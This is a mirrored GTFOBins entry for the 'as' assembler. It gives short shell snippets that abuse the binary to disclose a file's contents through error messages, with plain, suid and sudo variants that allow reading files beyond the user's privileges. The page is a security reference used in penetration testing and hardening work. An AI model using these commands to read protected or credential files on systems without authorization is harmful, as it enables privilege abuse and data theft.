mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
f03907836c
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
17 lines
394 B
Markdown
17 lines
394 B
Markdown
---
|
|
description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable to read arbitrary binary data.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
as @$LFILE
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./as @$LFILE
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo as @$LFILE
|
|
---
|